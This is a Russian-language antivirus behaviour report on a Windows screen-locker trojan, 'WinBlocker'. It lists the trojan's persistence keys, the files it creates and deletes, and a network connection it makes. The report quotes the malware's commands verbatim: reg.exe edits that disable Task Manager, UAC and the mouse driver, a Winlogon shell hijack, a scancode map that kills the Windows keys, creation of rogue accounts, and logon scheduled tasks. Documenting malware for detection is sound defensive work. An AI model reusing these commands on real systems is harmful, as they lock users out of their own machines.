Trojan.Siggen29.50896

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'WinBlocker' = 'WinBlocker'
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'WinBlocker.bat' = 'WinBlocker.bat'

Создает или изменяет следующие файлы

%APPDATA%\microsoft\windows\start menu\programs\startup\winblocker.bat
<SYSTEM32>\tasks\winblocker.bat
<SYSTEM32>\tasks\winblocker

Вредоносные функции

Для затруднения выявления своего присутствия в системе

блокирует запуск следующих системных утилит:

Диспетчера задач (Taskmgr)

блокирует:

Средство контроля пользовательских учетных записей (UAC)

Запускает на исполнение

'<SYSTEM32>\taskkill.exe' /F /IM explorer.exe
'<SYSTEM32>\taskkill.exe' /F /IM PhotosApp.exe
'<SYSTEM32>\taskkill.exe' /F /IM PhotosService.exe
'<SYSTEM32>\net.exe' user "P4SSW0RD IS 666" /add
'<SYSTEM32>\net.exe' user "KZQ 666 /add
'<SYSTEM32>\net.exe' user P4SSW0RD_IS_666 43529340569 /add
'<SYSTEM32>\taskkill.exe' /F /IM msedge.exe
'<SYSTEM32>\taskkill.exe' /F /IM chrome.exe
'<SYSTEM32>\taskkill.exe' /F /IM browser.exe

Завершает или пытается завершить

следующие системные процессы:

%WINDIR%\explorer.exe

Изменения в файловой системе

Создает следующие файлы

%APPDATA%\winscream.exe
%APPDATA%\winblocker.bat
nul
C:\scream\gif.hta
C:\scream\sound.mp3
C:\scream\sound.vbs
C:\scream\tenor.gif
C:\winblocker.bat
%TEMP%\admin.vbs

Удаляет следующие файлы

%TEMP%\admin.vbs
%WINDIR%\temp\dmi3ddf.tmp
%WINDIR%\Temp\fwtsqmfile00.sqm
%WINDIR%\Temp\fwtsqmfile01.sqm
%WINDIR%\temp\ts_20dd.tmp
%WINDIR%\temp\ts_235f.tmp
%WINDIR%\temp\ts_23ec.tmp
%WINDIR%\temp\ts_2862.tmp
%WINDIR%\temp\ts_2b9f.tmp
%WINDIR%\temp\ts_2da4.tmp
%WINDIR%\temp\ts_2eed.tmp
%WINDIR%\temp\ts_3595.tmp
%WINDIR%\temp\ts_3622.tmp
<SYSTEM32>\recovery\reagent.xml

Изменяет следующие файлы

%LOCALAPPDATA%\microsoft\media player\currentdatabase_372.wmdb

Самоудаляется.

Сетевая активность

Подключается к

'34.##9.100.209':443

TCP

Другие

'34.##9.100.209':443

Другое

Ищет следующие окна

ClassName: 'EDIT' WindowName: ''
ClassName: '' WindowName: ''
ClassName: 'WMPlayerApp' WindowName: ''
ClassName: 'HTML Application Host Window Class' WindowName: ''

Создает и запускает на исполнение

'%APPDATA%\winscream.exe'
'<SYSTEM32>\wscript.exe' "C:\scream\sound.vbs"

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c ""%APPDATA%\winblocker.bat" "
'<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableShutdownButton /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mouclass" /v Start /t REG_DWORD /d 4 /f
'<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "C:\WinBlocker.bat" /f
'<SYSTEM32>\schtasks.exe' /create /tn "WinBlocker" /tr "WinBlocker" /sc ONLOGON /rl HIGHEST /f
'%WINDIR%\syswow64\mshta.exe' "C:\scream\gif.hta"
'<SYSTEM32>\schtasks.exe' /create /tn "WinBlocker.bat" /tr "WinBlocker.bat" /sc ONLOGON /rl HIGHEST /f
'<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoWinKeysInTaskbar /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoWinKeys /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinBlocker.bat" /t REG_SZ /d "WinBlocker.bat" /f
'<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinBlocker" /t REG_SZ /d "WinBlocker" /f
'<SYSTEM32>\rundll32.exe' user32.dll, UpdatePerUserSystemParameters
'<SYSTEM32>\reg.exe' ADD "HKCU\Control Panel\Keyboard" /v "InitialKeyboardIndicators" /t REG_SZ /d 2 /f
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "HideFastUserSwitching" /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ShutdownUI" /t REG_DWORD /d 0 /f
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ShutdownWithoutLogon" /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' user "KZQ 666 /comments:"%APPDATA%\puknull.jpg"
'<SYSTEM32>\net.exe' user "KZQ 666 /comments:"%APPDATA%\puknull.jpg"
'<SYSTEM32>\net1.exe' user P4SSW0RD_IS_666 43529340569 /add
'<SYSTEM32>\net1.exe' user "KZQ 666 /add
'<SYSTEM32>\net1.exe' user "P4SSW0RD IS 666" /add
'<SYSTEM32>\label.exe' C: "KZQ
'<SYSTEM32>\cmd.exe' /c %TEMP%\admin.vbs
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
'<SYSTEM32>\reg.exe' add "" /v EnableLUA /t REG_DWORD /d 0 /f
'<SYSTEM32>\chcp.com' 65001
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ShutdownButton" /t REG_DWORD /d 0 /f
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d "00000000000000000300000000005BE000005CE000000000" /f